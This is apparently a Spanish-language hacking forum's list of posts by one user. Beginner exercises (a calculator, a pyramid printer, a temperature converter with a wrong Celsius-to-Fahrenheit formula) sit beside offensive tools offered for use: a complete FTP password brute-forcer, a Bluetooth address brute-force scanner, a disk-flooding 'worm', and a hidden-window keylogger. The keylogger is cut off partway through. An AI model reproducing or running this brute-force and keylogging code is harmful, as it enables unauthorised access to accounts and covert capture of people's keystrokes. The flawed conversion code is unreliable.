Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Jhonjhon_123

#1
Bueno, este es un ejercicio de un libro, y se los quise pasar.

El ejercicio consiste en crear un code que haga una pirámide de N filas.



Codigo De Fuente:

Necesitan 2 TextBox
     1. TXT_Pir > Para Ver La pirámide > MultiLine = True > Locked = True
     2. TXT_Filas > No De Filas
1 CommandButton > CMD_Run > Crear Pirámide

Código: vb

Option Explicit

Private Sub CMD_Run_Click()
Dim D As Long
Dim N As Long

TXT_Pir.Text = ""

For D = Val(TXT_Filas.Text) To 1 Step -1
    N = D + (D - 1)
    Call Escribir(N, "*", TXT_Pir)
Next

End Sub


Function Escribir(Veces As Long, Char As String, TXT As TextBox)
Dim D As Long
For D = 1 To Veces
    TXT = TXT & Char
Next
TXT = TXT & vbCrLf
End Function

Private Sub Form_Load()
With TXT_Pir
    .Font = "OCR A Std"
    .FontBold = True
    .FontSize = 12
End With
End Sub

#2
Mi primer programa en C++, es una calculadora a modo consola, con opciones sencillas y avanzadas, que son las siguientes:

Funciones Matemáticas:
1. Sumar
2. Restar
3. Multiplicar
4. Dividir
5. Raiz cuadrada
6. Porcentaje
7. Numero elevado a otro numero
Funciones Trigonometricas:
8. Coseno del angulo
9. Seno del angulo
10. Tangente
11. Arco tangente
Funciones Logaritmicas:
12. Logaritmo natural
13. Logaritmo decimal

Código: cpp
#include <iostream>
#include <math.h>
#include <stdlib.h>
using namespace std;
int main()
{
system("title Calculadora v.2.0″);
double X;
{
cout << "#Internetizad0s Blog\n#www.internetizados.wordpress.com\n#C0ded: KilerSys\n#Calculadora Avanzada\n\nElige la opcion que desea realizar:\n\n Funciones Matematicas\n1. Sumar\n2. Restar\n3. Multiplicar\n4. Dividir\n5. Raiz cuadrada\n6. Porcentaje\n7. Numero elevado a otro numero\n\n Funciones Trigonometricas\n8. Coseno del angulo\n9. Seno del angulo\n10. Tangente\n11. Arco tangente\n\n Funciones Logaritmicas\n12. Logaritmo natural\n13. Logaritmo decimal\n\n";
cin >> X;
if(X == 1){ //Sumar
double sum1, sum2;
cout << "\nEscribe el primer digito: ";
cin >> sum1;
cout << "Escribe el segundo digito: ";
cin >> sum2;
cout << "El resultado de la suma es " << sum1 + sum2 << "\n" << endl;
system("pause>nul");
}
if(X == 2){ //Restar
double res1, res2;
cout << "\nEscribe el primer digito: ";
cin >> res1;
cout << "Escribe el segundo digito: ";
cin >> res2;
cout << "El resultado de la resta es " << res1 - res2 << endl;
system("pause>nul");
}
if(X == 3) { //Multiplicar
double mul1, mul2;
cout << "\nEscribe el primer digito: ";
cin >> mul1;
cout << "Escribe el segundo digito: ";
cin >> mul2;
cout << "El resultado de la multiplicacion es " << mul1 * mul2 << endl;
system("pause>nul");
}
if(X == 4){ //Dividir
double div1, div2;
cout << "\nEscribe el primer digito: ";
cin >> div1;
cout << "Escribe el segundo digito: ";
cin >> div2;
cout << "El resultado de la división es " << div1 / div2 << endl;
system("pause>nul");
}
if(X == 5){ //Raiz cuadrada
double raiz;
cout << "\nEscribe el digito: ";
cin >> raiz;
cout << "La raiz cuadrada es " << sqrt(raiz) << endl;
system("pause>nul");
}
if(X == 6){ //Porcentaje
double por1, por2;
cout << "\nEscribe el digito: ";
cin >> por1;
cout << "Escribe el porcentaje: ";
cin >> por2;
cout << "El porcentaje es " << (por1 * por2)/100 << endl;
system("pause>nul");
}
if(X == 7){ //Elevar un número a otro exponente
double num1, num2;
cout << "\nEscribe el digito:";
cin >> num1;
cout << "Escribe digito elevado: ";
cin >> num2;
cout << "El resultado es " << pow(num1, num2) << endl;
system("pause>nul");
}
if(X == 8){ //Coseno
double c;
cout << "\nEscribe el digito: ";
cin >> c;
cout << "El coseno del angulo es " << cos(c) << endl;
system("pause>nul");
}
if(X == 9){ //Seno
double s;
cout << "\nEscribe el digito: ";
cin >> s;
cout << "El seno del angulo es " << sin(s) << endl;
system("pause>nul");
}
if(X == 10){ //Tangente
double t;
cout << "\nEscribe un digito: ";
cin >> t;
cout << "La tangente del angulo es " << tan(t) << endl;
system("pause>nul");
}
if(X == 12){ //Logaritmo natural
double l;
cout << "\nEscribe un digito: ";
cin >> l;
cout << "El logaritmo natural del argumento es " << log(l) << endl;
system("pause>nul");
}
if(X == 13){ //Logaritmo decimal
double l1;
cout << "\nEscribe un digito: ";
cin >> l1;
cout << "El logaritmo decimal del argumento es " << log10(l1) << endl;
system("pause>nul");
}
}
}
#3
Códigos Fuentes / Tool Hack Bluetooth
Febrero 23, 2010, 08:16:49 PM
Bueno pues esta tool fue cambiada mejor dicho esta tool fue hecha en Java Por un colega Pedi Permiso para cambiarla de lenguaje de Programacion a C y asi lo hice =)

Código: c


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>

#include <termios.h>
#include <fcntl.h>
#include <getopt.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <asm/types.h>
#include <netinet/in.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

extern int optind,opterr,optopt;
extern char *optarg;

#define for_each_opt(opt, long, short) while ((opt=getopt_long(argc, argv, short ? short:"+", long, NULL)) != -1)

static void usage(void);

static struct option hunt_options[] = {
  {"Ayuda", 0,0, 'A'},
  {0, 0, 0, 0}
};

static char *hunt_help =
  "Usage:\n"
  "\thunt <timeout>\n";

static void cmd_hunt(int dev_id, int argc, char **argv)
{
  bdaddr_t bdaddr;
  char name[248];
 
  int opt, dd, num=0, num2=0, num3=0, num4=0, num5=0, num6=0;
  int btout=50000;

  unsigned char lame[16][2] = {"0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F", };

  char addtobrute[248];

  printf("Profanador Bluetooth by Codeboy\n");
  printf("Codeboy Productions(c)\n");
  printf("Autor: Codeboy www.codeboy.es - www.hackblack.org - [email protected]\n");

  argc -= optind;
        argv += optind;

  if (argc < 2) {
    printf(hunt_help);
    exit(1);
  }

  if (argc >= 1) {
    btout=atoi(argv[1]);
  }

  printf("timeout: %d\n", btout);

  printf("Comensando...\n");

  while (num <= 15)
  {
    while(num2 <= 15)
    {
      while(num3 <= 15)
      {
        while(num4 <= 15)
        {
          while(num5 <= 15)
          {
            while(num6 <= 15)
            {
              strcpy(addtobrute,"00:80:98:");
              strcat(addtobrute,lame[num]);
              strcat(addtobrute,lame[num2]);
              strcat(addtobrute,":");
              strcat(addtobrute,lame[num3]);
              strcat(addtobrute,lame[num4]);
              strcat(addtobrute,":");
              strcat(addtobrute,lame[num5]);
              strcat(addtobrute,lame[num6]);
           
              /* Solo Debug */
              printf("%s\n",addtobrute);

              baswap(&bdaddr, strtoba(addtobrute));
                     
              dev_id = hci_get_route(&bdaddr);
              if (dev_id < 0) {
                fprintf(stderr,"Dispocitivo no es posible de alcanzar");
                exit(1);
              }
             

             
              dd = hci_open_dev(dev_id);
              if (dd < 0) {
                fprintf(stderr,"HCI Dispositivo alcanzado y conectado");
                exit(1);
              }
             
             
              /* Consiguiendo informacion del otro dispositivo */
              if (hci_read_remote_name(dd,&bdaddr,sizeof(name), name, btout) == 0)
                printf("\n.start--->\naddress :- %s\nname :- %s\n<.end-----\n",batostr(&bdaddr),name);
             
              close(dd);

              num6++;
              }
              num6=0;
              num5++;

            }
            num5=0;
            num4++;
          }
          num4=0;
          num3++;
      }
      num3=0;
      num2++;
    }
    num2=0;
    num++;
  }
}

struct {
  char *cmd;
  void (*func)(int dev_id, int argc, char **argv);
  char *doc;
} command[] = {
  { "Profanar", cmd_Profanar, "Encontrar el nombre del dispositivo" },
  { NULL, NULL, 0}
};

static void usage(void)
{
  int i;

  printf("Profanador Bluetooth by Codeboy\n");
  printf("uso:\n"
    "\tfang [opciones] <Comando> [Parametros de lo elejido]\n");
  printf("Opciones:\n"
    "\t--Ayuda\tMostrar help\n"
    "\t-i Ver\tHCI Ver\n");
  printf("Comandos:\n");
  for (i=0; command[i].cmd; i++)
    printf("\t%-4s\t%s\n", command[i].cmd,
    command[i].doc);
  printf("\n"
    "Para mas informacion use el comando help:\n"
    "\tfang <Comando> --help\n" );
}

static struct option main_options[] = {
  {"Ayuda", 0,0, 'h'},
  {"Ver", 1,0, 'i'},
  {0, 0, 0, 0}
};

int main(int argc, char **argv)
{
  int opt, i, dev_id = -1;
  bdaddr_t ba;

  while ((opt=getopt_long(argc, argv, "+i:h", main_options, NULL)) != -1) {
    switch(opt) {
    case 'i':
      dev_id = hci_devid(optarg);
      if (dev_id < 0) {
        perror("Dispositivo no valido");
        exit(1);
      }
      break;

    case 'h':
    default:
      usage();
      exit(0);
    }
  }

  argc -= optind;
  argv += optind;
  optind = 0;

  if (argc < 1) {
    usage();
    exit(0);
  }

  if (dev_id != -1 && hci_devba(dev_id, &ba) < 0) {
    perror("Dispositivo no es alcansable");
    exit(1);
  }

  for (i=0; command[i].cmd; i++) {
    if (strncmp(command[i].cmd, argv[0], 3))
      continue;
    command[i].func(dev_id, argc, argv);
    break;
  }
  return 0;
}

/*Coded by Codeboy */


Espero les guste no hace mucho esta tool pero es muy buena xD

Saludos
#4
Códigos Fuentes / FTP Brute Force
Febrero 23, 2010, 08:11:24 PM
Código: c
/*****
Ftp Brute Force , v1.0.
Written By WaReZ 
-----------------
Options:
        Single Username - Password list , Range passwords.
        Usernames list - Passwords List , Single password , Range Passwords.
---------------------------------------------------------------------------------------------
Compile:       
        g++ ftp.cpp -o ftp.exe

---------------------------------------------
*****/

#include <iostream>
#include <winsock.h>
#include <fstream>
#include <time.h>
using namespace std;

int ftp_connect(string user,string pass,char *site) {
         
sockaddr_in address;
         
size_t userSize = user.length()+1;
size_t passSize = pass.length()+1;
char username[userSize],password[passSize];
ZeroMemory(&username[0],userSize);
ZeroMemory(&password[0],passSize);
         
strncpy(username,user.c_str(),userSize);
strncpy(password,pass.c_str(),passSize);
       
char recv2[256];
ZeroMemory(&recv2,256);
       
hostent *host;
host = gethostbyname(site);

if(host != NULL)
{
           
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           
address.sin_family = AF_INET;
address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
address.sin_port = htons(21);     
 
 
int c,s,r;
c = connect(sock,(struct sockaddr*)&address,sizeof(address));
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,username,strlen(username),0);
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,password,sizeof(password),0);
r = recv(sock,recv2,sizeof(recv2),0);


  if(strstr(recv2,"230"))
  {
     return 230;
  }
       
  else if(strstr(recv2,"530"))
  {
     return 530;
  }
 
  else if(c != 0)
  {
     return -1;
  }
                   
  else
  {
     return WSAGetLastError();
  }
 
}

  else
  {
    return -1;
  } 
 
}         

int main(int argc,char *argv[])
{
     
cout << "\n#####################################\n"
         "# Ftp Brute Force                   #\n"   
         "# Written By WaReZ                  #\n"
         "#####################################\n\n";
 
WSADATA wsaData;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
  cout << "WSAGetLastError(): " << WSAGetLastError();
  exit(1);
}
 
         
if(argc < 2)
{
  cout << "Usage: " << argv[0] << "\n\n";
  cout << "-user         singal username\n";
  cout << "-ul           usernames list\n";
  cout << "-start        start range\n";
  cout << "-end          end range\n";
  cout << "-pl           passwords list\n";
  cout << "-sp           singal password for users list\n";
  cout << "-site         site that be checked\n\n";

  cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
}

       
else
{
   
  cout <<  "[~] Starting ...\n\n";
  char buffer[256],rcv[256]; 
 
 
  int check = 0;
  int tstart = 0 ,tend = 0;
  int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
  string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  char passwords[256],site[256] = "", users[256];
  ifstream passlist,userlist;
 
for(int i = 1; i <= argc-1;i++)
{
             
    if(argv[i+1] != NULL)
    {
         
     if(strstr(argv[i],"-user"))
     {
        realuser = argv[i+1];       
        user = "USER ";
        user += argv[i+1];
        user += "\r\n";
        u = 1;                   
     }
   
     if(strstr(argv[i],"-start"))
     {                       
        tstart = atoi(argv[i+1]);
        start = 1;             
     }
   
     if(strstr(argv[i],"-end"))
     {                     
        tend = atoi(argv[i+1]);
        end = 1;                                   
     }
   
     if(strstr(argv[i],"-pl"))
     {                     
        passlist.open(argv[i+1]);
        if(!passlist.fail())
        {
        pl = 1;
        }                           
     }
   
     if(strstr(argv[i],"-site"))
     {                             
       site2 = argv[i+1];
       strncpy(site,site2.c_str(),256);
       check_site = 1;                           
     }
   
     if(strstr(argv[i],"-ul"))
     {
        userlist.open(argv[i+1]);
        if(!userlist.fail())
        {
        ul = 1;
        }                 
     }
   
     if(strstr(argv[i],"-sp"))
     {
        sinpass = argv[i+1];
        realpass = argv[i+1];
        spass = 1;                       
     }
   
  }       
}

time_t time1;
time1 = time(NULL);

if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
   for(int p = tstart; p <= tend; p++)
   {   
         attempt+= 1; 
       
         pass = "PASS ";
         pass+=itoa(p,buffer,10);
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
       
         if(b == 230)
         {
             cout << realuser << "::" << p << " - Succeed" << endl;
             break;
         }
       
         else if(b == 530)
         {
             cout << realuser << "::" << p << " - Fail" << endl;
         }
     
         else if(b == -1)
         {
             cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
         }
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         attempt+= 1;
                     
   }
}
 
else if(pl == 1 && u == 1 && check_site == 1)
{     
   while(!passlist.eof())
   {                         
      attempt+= 1; 
     
      passlist.getline(passwords,100); 
      pass = "PASS ";
      pass+= passwords;
      pass+= "\r\n";
     
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << realuser << "::" << passwords << " - Succeed" << endl;
          hacked = 1;
          break;
      }
       
      else if(b == 530)
      {
          cout << realuser << "::" << passwords << " - Fail" << endl;
      }
   
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                           
   }
 
   if(hacked == 0)
   {
       cout <<  "\n\nNon password was matched.\n\n";
   }
}
 
else if(ul == 1 && pl == 1 && check_site == 1)
{       
   while(!userlist.eof())
   {
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n";                       
     
      while(!passlist.eof())
      { 
         attempt+= 1; 
                                   
         passlist.getline(passwords,100); 
         pass = "PASS ";
         pass+= passwords;
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
   
         if(b == 230)
         {
             cout << users << "::" << passwords << " - Succeed" << endl;
             correct_pass+= users;
             correct_pass+= "::";
             correct_pass+= passwords;
             correct_pass+= "\n";
             hacked+= 1;
             passlist.clear();             
             passlist.seekg(0,ios::beg);
             cout << "-------------------------\n";
             break;
     
         }
       
         else if(b == 530)
         {
             cout << users << "::" << passwords << " - Fail" << endl;         
         }
     
         else if(b == -1)
         {
            cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
            error = 1;
            break;   
         }     
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         if(passlist.eof())
         {
            cout << "-------------------------\n";             
            passlist.clear();             
            passlist.seekg(0,ios::beg);
            break;                   
         }

     }
   
     if(error == 1)
     {
         break;
     }       
}
        if(error != 1)
        {
            if(hacked > 0)
            {             
                cout << "\nHacked Users:\n\n";
                cout << correct_pass;
                cout << "\n" << hacked << " Users Was Hacked\n";
            }
           
            else
            {
              cout << "\n\nNon password was matched.\n\n";   
            }
        }
}

else if(spass == 1 && ul == 1 && check_site == 1)
{
   while(!userlist.eof())
   { 
      attempt+= 1; 
     
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n"; 
       
      pass = "PASS ";
      pass+= sinpass;
      pass+= "\r\n";
           
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << users << "::" << realpass << " - Succeed" << endl;
          fileusers+= users;
          fileusers+= "::";
          fileusers+= realpass;
          fileusers+= "\n";
          hacked+= 1;
      }
       
      else if(b == 530)
      {
          cout << users << "::" << realpass << " - Fail" << endl;         
      }
     
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                                         
   } 
      if(error != 1)
      {                     
          if(hacked > 0)
          {       
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
   
          else
          {
              cout << "\n\nNon password was matched.\n\n"; 
          }
       } 
       
}

else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
    while(!userlist.eof())
    {                       
       userlist.getline(users,100);
         
       for(int d = tstart; d <= tend;d++)
       { 
         
          attempt+= 1; 
         
          user = "USER ";
          user+= users;
          user+= "\r\n";
         
          pass = "PASS ";
          pass+= itoa(d,buffer,10);
          pass+= "\r\n"; 
         
          int b = ftp_connect(user,pass,site);
     
          if(b == 230)
          {
              cout << users << "::" << d << " - Succeed" << endl;
              fileusers+= users;
              fileusers+= "::";
              fileusers+= itoa(d,buffer,10);
              fileusers+= "\n";
              hacked+= 1;
              break;
          }
         
          else if(b == 530)
          {
              cout << users << "::" << d << " - Fail" << endl;         
          }
               
          else if(b == -1)
          {
             cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
          }
         
          else
          {         
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
          } 
           
      }
          cout << "----------------------\n"; 
   }
   
      if(error != 1)
      {             
          if(hacked > 0)
          {
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
         
          else
          {
             cout << "\n\nNon password was matched\n\n";   
          }
      }           

 
else
{
    if(tstart > tend)
    {
      cout << "Error: Start range bigger then end range.\n";       
    }
   
    else if(strlen(site) < 1)
    {
       cout << "Error: You forget to write the site.\n";
    }
   
    else if(passlist.fail() || userlist.fail())
    {
      cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";   
    }
     
    else
    {
      cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
    }
}     

time_t time2;
time2 = time(NULL);
cout << "\nAttempts: " << attempt << "\n";
cout << "Time elapsed: " << time2-time1 << "\n";
}
}
#5
Bueno esto es mas facil de hacer que de escribir...

primero que todo supondremos que hemos creado la siguiente función:


Código: c
int suma(int x, int y);   // prototipo de la función 

suma(x,y)                 // cuando no indicamos el tipo de dato se le adjudica
                               // el tipo por defecto "int"
{
return(x+y);             //retorno de la función
}   
 

bueno nos vamos a nuestro compilador y guardamos la función con extension .h
que es la extension k usan las librerias y luego la guardamos en la carpeta include de nuestro compilador...
En mi casi uso Dev-c++ es:


CitarC:\Dev-Cpp\include

Ahora supongamos que este el programa mediante el cual llamaremos a nuestra funcion:

Código: c
#include <stdio.h>
#include <libreria.h>

main()
{
      int a,b,res;
      printf("ingresa un numero: ");
      scanf("%d",&a);
      printf("\nIngresa otro numero: ");
      scanf("%d",&b);
      res=suma(a,b);
      printf("la suma de los dos numeros es: %d \n", res);
      system("pause");
}


Conclusion:
Cuando usamos funciones llamadas desde libreria no es necesario incluir la funcion ni el prototipo dentro de nuestro programa, es decir podemos guardar nuestras funciones de uso habitual en una libreria y asi no tener enormes codigos en nuestros programas.

Bueno espero les alla quedado claro y cualquier duda o consulta en este mismo hilo.


Autor: S[e]C

Saludos!
#6
Códigos Fuentes / Simulador del comando Find
Febrero 23, 2010, 08:07:33 PM
Código: c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
    if(argc < 2)
    {
        printf("Busca cadenas de texto.\n\n\t%s.exe [-n] [-v] \"Cadena\""
        "\n\n-n Muestra el numero de linea donde se da la coincidencia"
        "\n-v Muestra las lineas que no contengan la coincidencia\n", *argv);
    return 1;
    }
    char cadena[400];
    signed int linea = 0;
    if(argc == 2)
    {
    while(fgets(cadena, 400, stdin) != NULL)
    {
    cadena[400] = '\0';
    linea++;
    if(strstr(cadena, argv[1]))
    {
        printf("%s", cadena);
    }
    }
    }
    if(strcmp(argv[1], "-n") == 0 && argv[2] != NULL)
    {
    while(fgets(cadena, 400, stdin) != NULL)
    {
    cadena[400] = '\0';
    linea++;
    if(strstr(cadena, argv[2]))
    {
        printf("%i : %s", linea, cadena);
    }
    }
    }
    if(strcmp(argv[1], "-v") == 0 && argv[2] != NULL)
    {
    while(fgets(cadena, 400, stdin) != NULL)
    {
    cadena[400] = '\0';
    linea++;
    if(!strstr(cadena, argv[2]))
    {
        printf("%s", cadena);
    }
    }
    }
return 0;
}


Saludos!
#7
Códigos Fuentes / Hola mundo en C/C++
Febrero 23, 2010, 07:56:25 PM
C

Código: c
#include <stdio.h> /*incluimos la cabecera stdio, necesaria para printf y getchar*/
int main(void)        /*la funcion principal*/
{
    printf("Hola mundo!\n"); /*escribimos por la salida estandar (la consola) el texto*/
    return 0;           /*terminamos el programa normalmente*/
}


C++

Código: cpp
#include <iostream.h>  //incluimos la cabecera iostream, necesaria para cout
int main(void)        //la funcion principal
{
    cout<<"Hola mundo!" << endl; //escribimos por la salida estandar (la consola) el texto
    return 0;           //terminamos el programa normalmente
}


Saludos!
#8
Códigos Fuentes / Conversor de temperaturas en C++
Febrero 23, 2010, 07:54:39 PM
Bueno, aquí otra practica conversa centigrados, farenhait y kelvin.

Código: cpp
#include <iostream>
#include <cstdlib>
#include <stdio.h>

using namespace std;

int main()
{

/*CodeD by KilerSys
www.internetizados.wordpress.com*/

    double num;
    int opt;
    system("title Conversor de temperaturas");
    cout << "#Coded by KilerSys\n#Conversor de temperaturas v1.0\n#www.internetizados.wordpress.com\n\nConvertir:\n1. Centigrados/Celsius a Farenheit\n2. Farenheit a Centigrados/Celsius\n3. Farenheit a Kelvin\n4. Kelvin a Farenheit\n5. Kelvin a Centigrados/Celsius\n6. Centigrados/Celsius a Kelvin\n0. Salir\n\nOpcion: ";
    cin >> opt;
    if(opt==1){
               cout << "Escribe los Grados Centigrados/Celsius: ";
               cin >> num;
               cout << "\n " << num << " Grados Centigrados/Celsius son " << (num + 32) * 1.8 << " Grados Farenheit." << endl;
               system("pause");
               }
    if(opt==2){
               cout << "Escribe los Grados Farenheit: ";
               cin >> num;
               cout << "\n " << num << " Grados Farenheit son " << (num - 32) / 1.8 << " Grados Centigrados/Celsius." << endl;
               system("pause");
               }
    if(opt==3){
               cout << "Escribe los Grados Farenheit: ";
               cin >> num;
               cout << "\n " << num << " Grados Farenheit son " << (num + 459.67) / 1.8 << " Grados Kelvin." << endl;
               system("pause");
               }
    if(opt==4){
               cout << "Escribe los Grados Kelvin: ";
               cin >> num;
               cout << "\n " << num << " Grados Kelvin son " << (num * 1.8) - 459.67 << " Grados Farenheit." << endl;
               system("pause");
               }
    if(opt==5){
               cout << "Escribe los Grados Kelvin: ";
               cin >> num;
               cout << "\n " << num << " Grados Kelvin son " << (num - 273.16) << " Grados Centigrados." << endl;
               system("pause");
               }
    if(opt==6){
               cout << "Escribe los Grados Centigrados/Celsius: ";
               cin >> num;
               cout << "\n " << num << " Grados Centigrados/Celsius son " << num + 273.16 << " Grados Kelvin." << endl;
               system("pause");
               }
    if(opt==0){
               cout << "Hasta la proxima." << endl;
               system("pause");
               return EXIT_SUCCESS;
}
}


Saludos!
#9
Bueno estuve pensando en crear un bonito worm que me permitiese crear archivos, y he decidido hacerlo en C.
Es una técnica muy sencilla pero que puede resultar muy util.

Empezaremos con crear un archivo con un nombre aleatorio.Para luego crear un bucle.

Código: c


#include <windows.h>
#include <stdio.h>

//librerias

char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";

//todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar

int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
{
for( int z = 0; z < l; z++ )
{
buffer[ z ] = secuencialetras[ (rand()*rand()) % strlen( secuencialetras ) ];
buffer[ l ] = 0;
}
};

int crear( char* archivo, char* contenido ) // funcion que crea el archivo
{
unsigned long bytesescritos;
HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
WriteFile( hFile, contenido, strlen( contenido ), &bytesescritos, 0 );
CloseHandle( hFile );
};

int main( )
{

char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
Random( archivo, sizeof( archivo ) - 1 );

Random( contenido, sizeof( contenido ) );

crear( archivo, contenido );

return 0;
};



Como se ve no es nada del otro mundo.
La funcion CreateFile nos permite abrir o crear un nuevo archivo según modifiquemos el parámetro dwCreationDisposition [in] .
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y lo mismo con WriteFile, nos permite cuantos bytes escribir en los archivos y ponerle el nombre.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno ahora nos saldrá un archivo con nombre aleatorio, y de tamaño 63,9 KB, porque tan poco para un worm, porque esto nos permite crear archivos rapidamente y a la larga sera más eficiente.

Para crear el worm solo necesitamos un bucle en int main.

Un ejemplo para crear solo 3 archivos.

Código: c


#include <windows.h>
#include <stdio.h>

//librerias

char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";

//todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar

int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
{
for( int z = 0; z < l; z++ )
{
buffer[ z ] = secuencialetras[ (rand()*rand()) % strlen( secuencialetras ) ];
buffer[ l ] = 0;
}
};

int crear( char* archivo, char* contenido ) // funcion que crea el archivo
{
unsigned long bytesescritos;
HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
WriteFile( hFile, contenido, strlen( contenido ), &bytesescritos, 0 );
CloseHandle( hFile );
};

int main( )
{
for(int b = 0; b < 3; b++ )
{
char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
Random( archivo, sizeof( archivo ) - 1 );

Random( contenido, sizeof( contenido ) );

crear( archivo, contenido );
}
return 0;
};



Podemos usar while(true) o for(int b=0 ; b < 10 ; b--)

Eso ya es imaginación suya.

Autor. Pablo
#10
Códigos Fuentes / Keylogger en C++
Febrero 23, 2010, 07:42:46 PM
Aqui les dejo el Code:

Código: cpp
#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

int main(){

//Variable que determinará cuando cerrar el keylogger..
bool aprete = true;

//Creamos y abrimos el fichero txt para escribir en el
ofstream log;
log.open("C:\\log.txt", ofstream::out);

//SI ocurre algun error con el archivo
if(log.fail()){
cout << "Error al abrir archivo log.txt en directorio raiz" << endl;
}

//Ocultamos la ventanita (consola)
HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(ocultar,NULL);

//Inicia el ciclo
while(aprete){

//Cuando se apriete una delas teclas, escribimos en el archivo de texto la tecla pulsada...
if (GetAsyncKeyState(VK_SPACE) == -32767){
log << " ";
}

if (GetAsyncKeyState('A') == -32767){
log << "A";
}

if (GetAsyncKeyState('B') == -32767){
log << "B";
}

if (GetAsyncKeyState('C') == -32767){
log << "C";
}

if (GetAsyncKeyState('D') == -32767){
log << "D";
}

if (GetAsyncKeyState('E') == -32767){
log << "E";
}

if (GetAsyncKeyState('F') == -32767){
log << "F";
}

if (GetAsyncKeyState('G') == -32767){
log << "G";
}

if (GetAsyncKeyState('H') == -32767){
log << "H";
}

if (GetAsyncKeyState('I') == -32767){
log << "I";
}

if (GetAsyncKeyState('J') == -32767){
log << "J";
}

if (GetAsyncKeyState('K') == -32767){
log << "K";
}

if (GetAsyncKeyState('L') == -32767){
log << "L";
}

if (GetAsyncKeyState('M') == -32767){
log << "M";
}

if (GetAsyncKeyState('N') == -32767){
log << "N";
}

if (GetAsyncKeyState(VK_CAPITAL) == -32767){
log << " Mayus-";
}

if (GetAsyncKeyState(VK_BACK) == -32767){
log << " BACKSPACE ";
}

if (GetAsyncKeyState('O') == -32767){
log << "O";
}

if (GetAsyncKeyState('P') == -32767){
log << "P";
}

if (GetAsyncKeyState('Q') == -32767){
log << "Q";
}

if (GetAsyncKeyState('R') == -32767){
log << "R";
}

if (GetAsyncKeyState('S') == -32767){
log << "S";
}

if (GetAsyncKeyState('T') == -32767){
log << "T";
}

if (GetAsyncKeyState('U') == -32767){
log << "U";
}

if (GetAsyncKeyState('V') == -32767){
log << "V";
}

if (GetAsyncKeyState('W') == -32767){
log << "W";
}

if (GetAsyncKeyState('X') == -32767){
log << "X";
}

if (GetAsyncKeyState('Y') == -32767){
log << "Y";
}

if (GetAsyncKeyState('Z') == -32767){
log << "Z";
}

